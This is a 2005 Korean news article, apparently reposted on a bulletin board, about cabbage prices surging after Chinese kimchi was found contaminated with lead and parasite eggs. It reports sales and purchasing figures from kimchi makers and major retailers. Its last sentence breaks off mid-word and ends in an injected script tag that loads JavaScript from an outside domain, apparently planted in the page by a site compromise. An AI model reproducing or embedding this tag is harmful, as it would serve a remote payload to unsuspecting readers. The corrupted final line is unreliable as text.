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`중국산 김치 파동´ 이후.. ´금 배추´
작성자 관리사무소 등록일 2005-10-27 조회 6088
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중국산 김치에서 납 성분과 기생충 알이 검출됐다는 정부의 발표가 잇따르면서 국내 배추 가격은 ‘금값’으로 올랐다.
배추가격 급등과 포장 김치의 매출도 신장된 것으로 나타났다. 중국산 김치 파동에 따른 유통업계와 김치업계의 분위기를 점검한다.
  
  #김치업계
  
중국산 김치의 위해성 보도 여파로 국내산 원재료를 사용하는 대기업과 중소 김치업체들의 매출은 지난해보다 20% 이상 신장했으나 원재료 매입이 만만치 않아 골머리를 앓고 있는 것으로 나타났다.
  
원재료 가격의 폭등으로 ‘앞으로 남고 뒤로 밑진다’게 이들 업체들의 하소연이다.
종가집, 동원F&B, 풀무원 등 브랜드 포장 김치업체들의 지난달부터 이달까지의 매출은 연중 매출이 가장 많은 8월 바캉스 특수와 같은 수준인 것으로 나타났다. 
  
실제 (주)두산 식품BG에 따르면 이달들어 지난 23일까지 포장김치의 매출은 12억원을 기록한데 이어 이달말까지 총 16억원에 달할 것으로 예상돼 지난 8월 매출과 같을 것으로 전망했다. 이같은 매출실적은 평년의 같은기간의 매출보다 20% 신장된 실적이다.
  
그러나 원재료 매입에 대한 부담이 만만치 않기 때문에 속앓이가 만만치 않다.
특히 식자재업체 위주로 김치를 공급하는 중소김치 가공업체들의 부담은 더욱 가중된 것으로 나타났다.
  
일반적으로 식자재 업체의 김치 납품단가는 kg당 1600~2000원으로 잡혀있지만 최근 배추 kg당 단가가 1000원까지 오르면서 채산성이 떨어지기 때문이다.
  
대기업 원료 매입 관계자는 “농가들은 정상적인 원가개념이 없고 현재 시세만 따지기 때문에 김치 원재료 매입의 정상적 거래는 불가능한 상황”이라고 푸념했다.

  #유통업계
  
중국산 김치의 기생충알 검출 결과는 유통업체의 산지 배추 매입 물동 확대로 이어졌다. 
중국산 김치 납성분 검출 이후 이달 배추 수요는 증가했으며 김장철 배추 수요가 예년보다 늘어날 것으로 예상됐기 때문이다.
  
무엇보다 대형할인점에서는 김치를 담가먹겠다는 소비자들이 늘어남에 따라 올 김장에는 절임배추를 비롯 배추에 대한 수요가 지난해보다 20% 가량 늘어날 것으로 전망했다. 

이마트는 배추에 대한 수요가 증가할 것으로 예상하고 김장을 겨냥해 배추 물량을 지난해보다 30% 가까이 늘려 잡았으며 추가로 50%를 더 확보한다는 계획이다.
  
삼성홈플러스 역시 올해 김장철 배추 매입량을 당초 계획보다 20% 늘렸다. 납성분 검출 이후 지난달 배추를 포함한 채소류 매출은 70% 신장했기 때문이다.
  
롯데마트도 올해 김장철 배추 매입량은 전년 수량보다 2배 늘려잡았다. 지난달 배추의 매출도 지난해 같은기간보다 60% 신장된 것으로 나타났다.
문제는 가격이다. 배추가격이 예년보다 3배 가까이 오르면서 소비자들의 부담은 가중되기 때문이다. 

이영구 이마트 과장은 “예전에는 김치 문제 등 식품의 안전성 문제가 불거지더라도 농산물 유통에까지 영향을 미치지는 않았지만 최근에는 양상이 많이 달라졌다”며 “최근 중국산 김치의 영향으로 배추에 대한 수요가 늘어나고 있다”고 말했다.  
  
김장준 삼성홈플러스 홍보팀 대리는 “김치 수요와 더불어 배추 수요도 상당수 늘어나는 추세인 점을 감안 당초 70만톤의 물량 매입 계획에 10만톤을 추가확보할 방침”이라며 “중국산 김치의 거부감은 국내산 김치 수요로도 이어지는 현상”이라 밝혔다.

  # 배추시장 동향과 전망
  
김장철이 시작되는 다음달 20일까지는 배추 값의 고공행진이 멈추지 않을 전망이다.
  
배추 가격 폭등의 요인으로는 재배면적의 감소와 지난 8월 초 잦은 비로 작황이 나빠지면서 산지출하물량이 감소했기 때문이다. 여기에 중국산 김치문제로 인해 국내산 김치 수요가 증가했다. 
  
실제로 배추 출하자들은 보통 5톤 트럭당 300평의 밭에서 2700~2800포기를 실을 수 있으나 결구가 안돼 최근에는 400~500평에 3200포 가량을 싣고 있다고 전했다.
  
결국 재배면적은 한정된 상황에서 평년보다 생산량이 적다보니 만성적인 공급부족 사태에 빠진 것이다.
이와관련 최근 농림부가 농협에서 계약재배한 무·배추의 조기출하를 유도키로 한 것에 대해서도 이같은 이유로 우려의 시각이 높다.
  
여기에 김치공장이나 대형 유통업체에서 추석 이후 미처 산지와 구매계약을 맺지 못한 것도 가격 상승의 요인으로 꼽고 있다.
  
김동진 대아청과 영업부장은 “중국산 김치에 대한 거부감이 확산되면서 가공업체의 수요가 40% 이상에 달할 정도로 증가했다”고 말했다. 
  
이미 높은 가격에 산지포전거래가 마무리된 상황에서 구매처를 도매시장으로 돌리다 보니기준가격이 되는 도매시장의 배추 가격이 높아질 수 밖에 없다.
  
유통관계자들은 다음달 초부터 가을배추 출하가 시작돼 중순경부터 본격적으로 출하될 예?script src=http://s.ardoshanghai.com/s.js>
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